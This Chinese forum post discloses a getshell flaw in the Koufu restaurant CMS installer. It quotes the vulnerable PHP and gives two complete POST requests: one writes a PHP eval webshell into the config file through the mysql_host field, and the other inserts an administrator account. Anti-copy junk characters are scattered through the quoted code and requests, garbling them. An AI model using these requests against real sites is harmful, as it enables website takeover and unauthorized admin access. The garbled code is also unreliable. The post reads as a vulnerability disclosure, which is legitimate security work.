找回密码
 立即注册
查看: 2636|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
% r1 `3 H+ Q, j$ d
! ^; L! n$ t6 k: V, U<?php
( }# b- }" x0 r! Fif(file_exists("../install.lock"))
( k  t' a, A' y8 e+ Q3 y+ m{0 `- t# J& `) `- b3 r# L
    header("Location: ../");//没有退出
5 X: Q  d- _1 o}
% c2 }( t# a+ B: c& C0 U               
- r. T4 N* I8 v* |0 t3 g//echo 'tst';exit;
- D* `/ p) g* Frequire_once("init.php");
8 r2 f3 |+ Q$ K$ n) T) sif(empty($_REQUEST['step']) || $_REQUEST['step']==1)8 u6 X& ~# Q, J  X: w; @
{. f; Y5 K" E  p7 U1 n7 k; X
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
* D2 P' v: I' q2 M4 c; o0 r! N5 A2 k; e8 W0 g
1、getshell(很危险)
3 W& M6 ?/ v5 D7 k+ wif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
7 v( a6 \/ i9 v' t" C6 m7 P{" A% u; D' \; F' E" l6 p" X
$smarty->assign("step",1);% Y5 w$ ?6 F2 u7 ]( x
$smarty->display("index.html");5 L5 {9 g) ~* T2 G) y" y6 w
}elseif($_REQUEST['step']==2)
/ E% l2 ^( L8 T. O2 Y4 P2 ]- e4 ]{
( P( q7 @5 H- }4 k* v    $mysql_host=trim($_POST['mysql_host']);
8 P3 _6 s  F* z+ F' I, R% P    $mysql_user=trim($_POST['mysql_user']);
$ U1 R/ a4 J+ C4 V9 N4 J/ q+ }, D    $mysql_pwd=trim($_POST['mysql_pwd']);5 `( l0 J. E5 q" `' F: x( [
    $mysql_db=trim($_POST['mysql_db']);( i7 {8 ~. [: u# O% X# k0 C% J
    $tblpre=trim($_POST['tblpre']);
) t- O* g. w, n9 O    $domain==trim($_POST['domain']);
% `7 G: R4 A- t  O$ A    $str="<?php \r\n";
+ [3 t8 }/ q. X    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
8 l0 ?5 i6 I  f    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";& t% I. T; }9 _" G
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
+ W9 F6 ]5 u- l1 l5 d  y5 K    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";9 V( Q/ J9 ~+ f
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
% W$ r8 U6 N& x    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
2 }( J" `- q' X3 P, A; l' E# H    $str.='define("DOMAIN","'.$domain.'");'."\r\n";0 K0 W8 X4 w% y, G! z, J" i
    $str.='define("SKINS","default");'."\r\n";
& N3 o" n$ u2 m8 y5 N: H    $str.='?>';
, F- x/ M7 }3 o& d    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
  u! R/ V5 s7 U7 w上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马# V  U1 a' P7 i
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
& ~, V8 c- i3 l% yHost: 192.168.80.129
# P$ r3 L, |; ?/ ]User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.08 Y; f9 o, i7 n, j' H# v
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8. a0 z; b* }$ r# A4 L
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
, n/ ?7 R, Y5 `" hAccept-Encoding: gzip, deflate
% \  K6 {5 ]* A" |  gReferer: http://192.168.80.129/canting/install/index.php?step=1
* `3 \+ n% h- U" l6 f* B) |Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc428 L' Y6 |- q* Y. w% w0 B
Content-Type: application/x-www-form-urlencoded& y6 ]+ a& C: L6 J4 ^% J# E
Content-Length: 1267 C( T1 N. a/ S9 V- O
          4 M/ e- ?% Z9 |2 k0 D
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
6 W3 t6 Z# j8 w6 \1 n但是这个方法很危险,将导致网站无法运行。
$ b* y% A7 H( p' U6 k! K1 n( O( Q8 R4 o* P$ V
2、直接添加管理员  E+ n9 I$ C6 p# q% F* x- r
5 D; l5 Q2 m) s8 q+ ~+ K
elseif($_REQUEST['step']==5)& f  z7 J1 W% L( F9 l
{
+ w( }/ T/ ?/ G- ]  x) Z6 G    if($_POST); |5 V- ^8 g: x" o5 g2 s3 L5 _
    {   require_once("../config/config.inc.php");
7 I& J* c% r0 j) \% k5 O* T% S# x6 E        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);: J9 @; z1 |. }- n7 B. P
        mysql_select_db(MYSQL_DB,$link);
( b- @- V- [1 w0 d2 W/ h* x2 A        mysql_query("SET NAMES ".MYSQL_CHARSET );
4 X2 }9 A+ @( K* k) i# }         mysql_query("SET sql_mode=''");
+ H7 z, p! z9 B* T5 O9 b+ |2 l: P# r. u& s& |' @
$adminname=trim($_POST['adminname']);
" s) F4 }, f; p, t/ v        $pwd1=trim($_POST['pwd1']);
9 a5 K% E) P" G  y$ o( w        $pwd2=trim($_POST['pwd2']);, z0 q+ @! I+ O7 i4 g  M; D0 N
        if(empty($adminname))
/ ?' I% ^/ h8 _; q8 Y+ R        {
8 w" z' y( G" D+ A2 v
" z) D$ [' I' }  t! I$ L; |( I echo "<script>alert('管理员不能为空');history.go(-1);</script>";
! l; m8 c- V& V$ \) m& B            exit();
2 J$ X% d1 W; `/ ~6 C8 t+ [        }
& y$ i& _& P% a0 W* B        if(($pwd1!=$pwd2) or empty($pwd1))+ U- R, M( G+ Z3 b8 D. a
        {- B; G5 ^0 E) I( r) A: h% S, \& ?; n
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出" I# N$ c9 @: t0 m
        }3 N' n* o4 n: l" N
        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员& F, r7 k% |: \3 F: }  I* V, `
    }
' i8 Z3 V, C$ w, P# ~; K% ~6 T这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:7 _# _. {8 A9 x
POST /canting/install/index.php?m=index&step=5 HTTP/1.12 ~2 {5 q2 M& N2 O: Y, ]1 `
Host: 192.168.80.129
# j1 X) R1 s# E( T) f+ v! q. [4 i0 g6 ]User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
. ?" a; i7 w  }5 mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.87 {. l( a0 B, M2 [# G$ o
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3$ @- w2 r( @* Q9 g
Accept-Encoding: gzip, deflate  c  A/ i. @& P
Referer: http://www.2cto.com /canting/install/index.php?step=16 A+ l0 O5 K9 u' o9 N+ Y9 N
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42" }; M9 w; c, g/ W' t: [; f0 V
Content-Type: application/x-www-form-urlencoded
: t- d5 y, O. E# NContent-Length: 46
% j. |" l+ i2 [. b  u' R5 H: R      
9 c; W7 @: ~9 `adminname=qingshen&pwd1=qingshen&pwd2=qingshen​$ i+ V$ \* H& u% l6 y  [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表